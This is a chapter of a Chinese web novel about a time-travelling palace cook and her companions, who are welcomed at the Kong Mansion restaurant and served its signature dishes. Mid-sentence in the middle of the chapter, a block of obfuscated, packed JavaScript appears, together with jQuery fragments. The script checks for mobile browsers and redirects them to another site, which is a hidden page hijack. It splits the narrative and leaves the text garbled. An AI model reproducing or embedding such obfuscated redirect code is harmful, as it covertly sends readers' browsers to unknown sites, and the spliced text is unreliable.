30. 孔府宴客来
作品:《司膳大人在现世[古穿今]》 俞予瑜想着曹师傅已经联系好了,也不好爽约,而且……她也想早点看到孔府菜的风采!
今天曹师傅的接风宴,他们肯定会使出全部手段、置办出一桌丰富的席面。
“行。”俞春洋看大家都没反对,于是带着众人往外走。
没走多久,就看见接机口一个巨大的牌子,上面写着曹师傅的名字。
两个身材高大的男士双手抱胸、似乎在讨论着什么。
其中一个似乎是感觉到视线,瞟了过来,然后用胳膊杵了一下同伴,两人露出同款笑容。
“曹师叔,师傅让我们俩来接您,一路舟车劳顿、辛苦了!”俯身行天揖礼。
“额……你是小九是吧?”曹师傅在两人之间看了半天,最后视线停在最高的那位身上。
小九咧着嘴笑着,“对,曹师叔好记性,三年前我才这么丁点高呢!”手比了比自己胸膛的高度。
俞春洋看了看两边的接机人有些不理解,什么时候厨子也开始卡颜了?
目前就她看到的,她堂姐、曹师傅、还有这两个,长得都还行。
“这两位是师妹吗?”小十二看到在场的两位女同志眼睛一亮,他记得师傅说曹师叔会带个女弟子来长长世面,没想到一来就是俩。
白秋乐不动声色的移动步伐上前挡住他打量过来的视线。
本来还在看小哥哥的俞春洋不干了,一胳膊杵过去,嘛玩意儿?正看着起劲呢!突然来个人挡住了,谁呀?这么扫兴。
白秋乐疼的一哆嗦,咬紧牙从牙缝里挤出几个字:“没见过男的呀!”
俞春洋当即翻了个白眼。
俞予瑜没注意这边的死动静,冲着两位做了个叉手礼,“师兄们好,叫我小俞就成。”
“师妹,我是小九/小十二。”小九和小十二连忙回了个礼。
也是在曹师傅这里听说孔家人注重礼仪,俞予瑜怕失礼,特意查了一下这个时代通用礼仪,发现很多礼仪都很是相似,这才放下心来。
“你们好,叫我洋洋/小白就行。”俞春洋和白秋乐学着他们做了个不伦不类的礼。
“行了,小九呀小十二,带路吧,这一路下来我们也饿了。”曹师傅等他们都见过礼,才开口。
“是。”
接他们的是一个七座的商务车,小九和小十二一把就将他们的行李塞进去,几个人顺利坐上车。
俞予瑜悄悄打量着窗外的景色,街道整洁、行人有礼、商业街繁荣却不喧嚣,初见、她便对这座城市好感顿生。
车子一路通行,直到进入古街区、车速才缓慢下来。
俞予瑜听着车窗外本地特色口音就忍不住勾唇。
各种叫小妮儿和小小子儿的声音此起彼伏。
车子在一座宅院门口停下来,映入众人眼帘的就是上面的牌坊上的三个鎏金大字:孔府宴。
两边柱子上则是配有“食不厌精、烩不厌细”的楹联。
小九下车打个千儿开车门,“来、曹师叔,里面请,我师傅他老人家已侯多时。”
曹师傅“哈哈哈”爽朗一笑,双手背在身后、从容往门内进。
俞春洋和俞予瑜有些犹豫行李怎么办。
一旁的小十二开口,“两位师妹,你们要是信任我,我可以帮你们把行李放进待会儿你们将入住的客院。”
俞春洋当即立断,将行李塞到小十二手中甜甜地笑着,“行、那就麻烦师兄了,我们都饿了,就不跟你客套。”
然后拉着俞予瑜就连忙追赶曹师傅的背影。
这个馆子一看就贼拉贵,不得跟着熟人蹭顿白食?
可不能少吃一口、她会心痛的。
白秋乐也面色冷淡地将自己的背包伸到小十二面前阻挡他看过去的视线,“麻烦师兄了。”
小十二呐呐接过,不好意思笑着,“不用这么客气,来者是客嘛!我们尼山人好客着呢!”
白秋乐假笑结束,也转身面无表情去追那几人。
小十二看着离开的几人背影感慨:“没想到曹师傅收的这师妹还挺标志,不知道有没有对象!”
……
一路往里走,目之所及全是中式风格的装扮:木质格栅、宫笼、仿古家具,墙面则是《论语》和孔府菜典故浮雕。
小九一直带他们往前走,穿过大堂、走到里面最中心的包厢“仰圣厅”。
打开门、就看见孔师傅一身靛蓝色团绣唐装,端坐正中、手上盘着两个雕龙刻桃。
“哈哈哈,老曹、无事不登三宝殿,今儿怎么想着来看我?”孔师傅看见人终于来了、停下手里的动作,站起来乐呵呵地看着进门的几人。
“这不是想你……的手艺了嘛!”曹师傅淡定地大喘气道。
孔师傅眼睛一眯,看着他身后的几人没说让他下不来台的话,转移话题,“你说你遇到了个有天赋的小妮儿?这……你是遇到俩?”
“你当大白菜呀?还俩,小俞呀,出来让孔师傅瞅瞅。”曹师傅本来还想炫耀的心一下子就被他堵了回来。
蒜鸟蒜鸟,又不是自己的徒弟,说起来一下子就没劲了。
俞予瑜清脆地“欸”了一声,俏生生地站出来行了天揖礼,“孔师傅您好,我是俞予瑜,你可以叫我小俞。”
孔师傅一侧眉梢一挑,倒是有点意思。
“合着不是你徒弟?”
如果是师徒,这种场合为表尊重和礼节、都会带有师傅的名讳。
“咳。”曹师傅掩饰性端起桌子上的杯子就是一口闷,结果杯子里空空如也。
孔师傅意味深长地回了他一个眼神,然后看向一旁的男人,“没个眼力见,没见你曹师叔渴了嘛!”
男人好不意思憨笑着,“我的不是、我的不是,曹师叔见谅。”
上前拉了一下墙边的绳子,外面银铃声响,少时、一淡青色宫装丽人提着一壶水进来,跪坐在一旁的茶桌前,动作优雅地煮水点茶。
俞予瑜本来被孔师傅这么一说稍显窘迫的心情也随着茶艺师的动作慢慢平复下来。
不一会儿,几杯分装好的雨前龙井就被茶艺师一一放在在座人的面前。
“尝尝吧!”孔师傅左手轻摊,示意大家不要客气。
俞予瑜端起杯子放在鼻子处闻着,豆香混着兰花香、持久不飘;品尝一口,鲜爽甘醇、韵味悠长。
是上好的茶叶。
不过这泡茶的方法跟她那个时代不同,她们时兴茶道、喜好点茶。
当时的她为了迎合上官也略懂一点皮毛。
眼下这种泡茶方法显出茶的本味。
曹师傅尝完一杯,手指轻敲桌面,“老孔呀,我来你这是吃饭的,这茶也喝了,什么时候上菜呀?”
“牛嚼牡丹!”孔师傅无语地瞟了一眼曹师傅,对着身旁的男子道,“上菜吧,你们曹师叔饿了。”
男子起身抱拳,“是,师傅。”转身去外面吩咐上菜。
曹师傅看男子离开,凑到孔师傅耳边嘀咕,“你这小三儿不错呀!准备让他继承孔府宴?”
“还成吧,其他几个徒弟一门心思钻在厨房里、就他还有几分弯弯道道的心思,不至于将我打下的江山拱手送人。”说起继承人的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122116|194116||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
问题、孔师傅就头疼。
他也不是死老筋的人,收徒弟也选的机灵的那种,怎么就没一个善经营的?
他真怕没几个月就关门大吉。
“你这还算好的。”曹师傅也叹了口气,“我那小徒弟一门心思钻名利场,不肯打磨自身手艺,我真怕他引火上身呀!”
两个师傅齐齐叹气,这都些什么破徒弟呀?
一天天的光让老师傅们为他们着急上火。
俞春洋和白秋乐在一旁头挨着头悄摸着说悄悄话,俞予瑜听不见他们的谈话内容,只是抬眼看着这间包厢的装饰。
一看就很贵!
非达官权贵消费不起的那种。
正在她感慨墙上那幅丹青是否真迹的时候,突然闻到一股奇异的香味儿。
紧接着包厢门被敲醒。
“贵客、请允许我们上个菜。”
门开,一串婀娜少女聘聘婷婷地提着菜盒子进来。
将一道道菜摆上桌子。
男子、也就是小三儿给大家介绍起来,“这几道菜我们孔府菜的招牌、也是进了非遗的【诗礼银杏】、【孔门豆腐】和【孔府一品锅】。
还有我们陬园独创的【陬园红烧肉】、【周游列国黄牛肉】、【阳关三叠】、【半部论语治天下】。”
俞予瑜看着一桌子的菜面露惊色,无论是摆盘还是菜色都明显不一般,放在宫廷里也是不输于他人的存在。
“总算是有点样子,是拿出真本事了!”曹师傅也很满意,至少不是拿大葱卷薄饼来忽悠他。
“你当我是你呀?当初我来找你、你就尽情薅我羊毛,还光使唤我徒弟们干活。”孔师傅无语,招呼其他人吃菜,“快尝尝,一会儿菜凉了就不好吃了。”
“嗐、你徒弟不就是我徒弟嘛,你不要这么小气。”曹师傅有些理亏地转移视线,那不是想着好不容易让徒弟们长长见识嘛。
博采众长!
而且,他也没收他们钱呀!
祸祸了他三个月的食材呢!
“吃吃吃!不要跟老孔客气,人家不缺钱!”曹师傅越说越心酸。
人家老孔的店、自带明星效应,来尼山玩的旅人或是本地人都想去尝尝孔夫子家的特色菜。
呸、春秋战国那时候还没这些菜呢!
像他曹家菜……出了市、就没谁认识!
他什么时候才能将曹家菜发扬光大呀!
像孔府菜一般让旅人慕名而来。
曹师傅抹了一把辛酸泪,所以他为什么出来挣外快呀?虽然有一定因素是为了躲他的小徒弟,但更多的也是出来找一处生机、能将曹家菜推向全国的契机。
几个小的早就期待已久,等两位师傅动筷子之后,迅速朝着自己老早就瞄着的菜发起进攻。
俞予瑜慢慢品尝着,【诗礼银杏】即是白果和蜂蜜、白糖慢煨而成,味甘不腻、独带清香。
【孔府一品锅】跟佛跳墙食材类似,底层白菜豆腐,中层鸡鸭排骨,上层海参鱼肚,吃的就是那个“鲜”字。
俞予瑜夹了一筷子鱼肚、处理的恰到好处、软糯鲜嫩,与她做的佛跳墙风味又不一样。
她又尝了一口【孔门豆腐】,这个豆腐质硬,一口下去不见软烂、满是紧实口感,还带着些许松木的熏制味。
吃到这里,俞予瑜端起一旁的清茶漱了漱口,沉吟不语,之前算她傲慢了。
轻视了曹师傅、也看轻了所谓的孔府菜。
如今才发现她除了现代的小妙招,还有更多需要学习的。
“小俞师妹似乎对这些菜有些想法?”

